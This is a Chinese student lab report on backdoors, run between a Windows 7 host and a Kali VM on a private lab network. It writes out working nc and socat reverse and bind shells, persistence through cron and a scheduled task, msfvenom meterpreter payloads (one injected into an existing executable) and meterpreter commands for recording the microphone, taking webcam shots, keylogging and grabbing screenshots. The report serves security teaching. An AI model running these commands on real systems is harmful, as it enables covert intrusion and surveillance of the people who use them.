1. 程式人生 > 其它 >20191317 Exp2-後門原理與實踐

20191317 Exp2-後門原理與實踐

20191317 Exp2-後門原理與實踐

實驗基礎

本次實驗需要我們掌握後門的基礎知識,學習使用nc實現Windows,Linux之間的後門連線,學習使用Metaspolit的msfvenom指令生成簡單的後門程式,學會MSF POST模組的應用。

基礎知識

後門的概念

後門就是不經過正常認證流程而訪問系統的通道。後門可能出現在編譯器中、作業系統中,最常見的是應用程式中的後門,還可能是潛伏於作業系統中或偽裝成特定應用的專用後門程式。

實驗目標

  • 使用netcat獲取主機操作Shell,cron啟動
  • 使用socat獲取主機操作Shell,任務計劃啟動
  • 使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
  • 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
  • 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

實驗環境

環境

  • 主機:Windows 7;
  • 靶機:Kali Linux 10;

在主機上用ifconfig檢視Windows7主機IP


主機IP為192.168.30.151

在Kali虛擬機器中用sudo ipconfig檢視Kali虛擬機器IP


Kali虛擬機器IP為192.168.30.147


實驗過程

一、使用netcat獲取主機操作Shell,啟動cron

在主機中使用ncat -l -p 1317(個人學號後四位)
監聽本機的1317埠


(注:若Windows中未安裝ncat命令,可以點選ncat.rar下載,解壓後可使用)

在主機中獲取虛擬機器shell

在虛擬機器中使用nc 192.168.30.151(主機IP) 1317 -e /bin/sh連線主機反彈shell

成功getshell

在虛擬機器中獲取主機shell

在虛擬機器中用nc -l -p 1317監聽主機1317埠

在主機中用ncat -e cmd 192.168.30.147 1317,成功獲取到主機shell

在虛擬機器中啟動cron並在主機監聽

先在虛擬機器上用crontab -e指令編輯一條定時任務(crontab指令增加一條定時任務,-e表示編輯,輸入2表示選擇vim編輯器)

在最後一行新增17 * * * * nc 192.168.30.151 1317 -e /bin/sh

,即在每個小時的第17分鐘反向連線Windows主機的1317埠

等到每小時的17分,在ip地址為192.168.30.151的主機端用ncat -l -p 1317開啟監聽即可

在主機成功獲取虛擬機器的shell
此外,也可以開一個非反彈式後門,在cron中寫入nc -l -p 1317 -e /bin/sh,這是攻擊機能隨時通過nc 主機ip 1317獲得虛擬機器的一個Shell

二、使用socat獲取主機操作Shell,任務計劃啟動

在Windows獲得Linux Shell

在Kali中用man socat檢視使用說明

在Windows中按Win+R,再輸入compmgmt.msc開啟計算機管理

在系統工具中的任務計劃程式中建立任務

設定任務名稱

新建觸發器

下一步是新建操作,但在新建操作前,我們需要在Windows上下載socat.rar,並解壓後使用,使用參考README

新建操作,操作設定為啟動程式socat.exe,並新增引數tcp-listen:1317 exec:cmd.exe,pty,stderr,這個命令的作用是把cmd.exe繫結到埠1317,同時把cmd.exe的stderr重定向

設定好後我們按下Win+L(通用)或者F10(一些電腦適用)鎖定工作臺,即把電腦鎖屏。解鎖後出現命令列

在Kali中輸入命令socat - tcp:192.168.30.151:1317

成功獲取Windows的Shell

三、使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

在Kali上生成後門可執行程式20191317_backdoor.exe

輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.147 LPORT=1317 -f exe > 20191317_backdoor.exe,其中

  • LHOST為反彈回連的IP,在這裡是要反彈給Kali,也就是Kali的IP
  • LPORT是回連的埠
  • -p 使用的payload。
    payload翻譯為有效載荷,就是被運輸有東西。這裡windows/meterpreter/reverse_tcp就是一段shellcode。
  • -f 生成檔案的型別
  • > 輸出到哪個檔案

在Windows上開啟監聽

在Kali上用nc 192.168.30.151 1317 < 20191317_backdoor.exe將生成的20191317_backdoor.exe後門程式傳過去

在kali上使用msfconsole指令進入msf控制檯

對msf控制檯進行配置
依次輸入以下命令

use exploit/multi/handler		#使用監聽模組,設定payload
set payload windows/meterpreter/reverse_tcp		#使用和生成後門程式時相同的payload
set LHOST 192.168.30.147			#KaliIP,和生成後門程式時指定的IP相同
set LPORT 1317

接著輸入exploit進行監聽,在Windows在開啟20191317_backdoor.exe後成功獲取到Windows的shell(注意最好把所有防毒軟體退出,否則打開後門程式時很容易出現拒絕訪問的情況)

四、使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

獲取目標主機音訊

在之前進入的MSF exploit中輸入record_mic指令進行錄音(-d可設定時長)

獲取目標主機攝像頭

輸入webcam_snap指令控制攝像頭進行拍照

run webcam可以進行螢幕錄製,相當於不間斷地用攝像頭拍照片,並不斷儲存在一個jpg中,在檔案系統中我們會看到一個在不斷變化的jpg檔案

獲取擊鍵記錄

輸入keyscan_start開始捕獲鍵盤記錄,keyscan_dump獲取擊鍵記錄(-d可設定時長)

擷取主機螢幕

使用screenshot指令可以進行截圖

五、使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

參考網上資料找到指令

msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
  • 在引數說明中提到,-p使用的為有效載荷,由於我們是在x86下的linux系統,所以要改為linux/x86/meterpreter/reverse_tcp
  • -x可執行檔案模板,shellcode會寫入這個可執行檔案中
  • LHOSTLPORT是ip地址和埠,我們把它改為192.168.30.1471317
  • -f是生成檔案的型別,我們把它改為二進位制可執行檔案elf

所以最後的payload為

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.30.147 LPORT=1317 -x 20191317pwnexp2 -f elf > 20191317exp2

輸入msfconsole進入MSF控制檯,保持對應配置和之前相同

use exploit/multi/handler		#使用監聽模組,設定payload
set payload linux/x86/meterpreter/reverse_tcp		#使用和生成後門程式時相同的payload
set LHOST 192.168.30.147			#KaliIP,和生成後門程式時指定的IP相同
set LPORT 1317

再在msf中使用exploit監聽

在另一終端中將執行20191317exp2執行

可看到msf中獲取許可權

成功獲得shell


基礎問題回答

例舉你能想到的一個後門進入到你係統中的可能方式?

某些圖片也可以被植入後門,如果你下載之後再點開,就會中招

例舉你知道的後門如何啟動起來(win及linux)的方式?

  • Windows
    將後門安裝為服務,服務設定為開機自啟動,後門隨之啟動。
  • Linux
    linux同樣有著開機自啟動的指令碼

Meterpreter有哪些給你印象深刻的功能?

​ Meterpreter是Metasploit框架中的一個擴充套件模組,作為溢位成功以後的攻擊載荷使用,攻擊載荷在溢位攻擊成功以後給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpretershell的連結。Meterpretershell作為滲透模組有很多有用的功能,比如新增一個使用者、隱藏一些東西、開啟shell、得到使用者密碼、上傳下載遠端主機的檔案、執行cmd.exe、捕捉螢幕、得到遠端控制權、捕獲按鍵資訊、清除應用程式、顯示遠端主機的系統資訊、顯示遠端機器的網路介面和IP地址等資訊。另外Meterpreter能夠躲避入侵檢測系統。在遠端主機上隱藏自己,它不改變系統硬碟中的檔案,因此HIDS[基於主機的入侵檢測系統]很難對它做出響應。此外它在執行的時候系統時間是變化的,所以跟蹤它或者終止它對於一個有經驗的人也會變得非常困難。最後,Meterpreter還可以簡化任務建立多個會話。可以來利用這些會話進行滲透。

​ Metasploit提供了各個主流平臺的Meterpreter版本,包括Windows、Linux,同時支援x86、x64平臺,另外,Meterpreter還提供了基於PHP和Java語言的實現。Meterpreter的工作模式是純記憶體的,好處是啟動隱藏,很難被防毒軟體監測到。不需要訪問目標主機磁碟,所以也沒什麼入侵的痕跡。

如何發現自己有系統有沒有被安裝後門?

  • 記憶體經常被佔用
    病毒打開了許多檔案或佔用了大量記憶體。
  • 電腦中出現了一些不明服務
  • 某些檔案打不開
    病毒修改了檔案格式;病毒修改了檔案連結位置。檔案損壞;硬碟損壞;檔案快捷方式對應的連結位置發生了變化;原來編輯檔案的軟體刪除了。
  • 出現大量來歷不明的檔案
    後門複製了大量檔案。
  • 電腦自動執行或啟動程式
    後門在執行非法操作。

實驗心得

本次實驗感覺非常有意思,無論是獲取win主機shell或者是獲取linux主機shell,以及監聽主機攝像頭,麥克風,鍵盤輸入或者螢幕截圖。都非常有意思,但是這一切的前提是,兩臺主機可以互相ping通,如果ping不通,以上一切全部免談。所以本次實驗,大部分只起到了科普作用,沒有實際上的用處。如果要實用,我覺得首先就要突破閘道器限制,要麼是在同一區域網下,要麼不在區域網下,但是要突破閘道器連通內網主機。